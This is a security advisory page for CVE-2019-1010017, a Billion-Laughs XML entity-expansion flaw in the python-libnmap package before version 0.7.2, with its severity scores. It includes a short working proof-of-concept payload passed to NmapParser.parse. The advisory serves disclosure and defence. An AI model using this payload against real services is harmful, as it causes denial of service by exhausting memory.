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XML Injection in python-libnmap

High severity GitHub Reviewed Published Jul 18, 2019 to the GitHub Advisory Database • Updated Oct 15, 2024

Package

pip python-libnmap (pip)

Affected versions

< 0.7.2

Patched versions

0.7.2

Description

Description

python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.

PoC

ty = NmapParser()

payload = """
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""

ty.parse(payload)

References

Published by the National Vulnerability Database Jul 15, 2019
Reviewed Jul 18, 2019
Published to the GitHub Advisory Database Jul 18, 2019
Last updated Oct 15, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

0.138%
(51st percentile)

Weaknesses

CVE ID

CVE-2019-1010017

GHSA ID

GHSA-9ccv-p7fg-m73x

Source code

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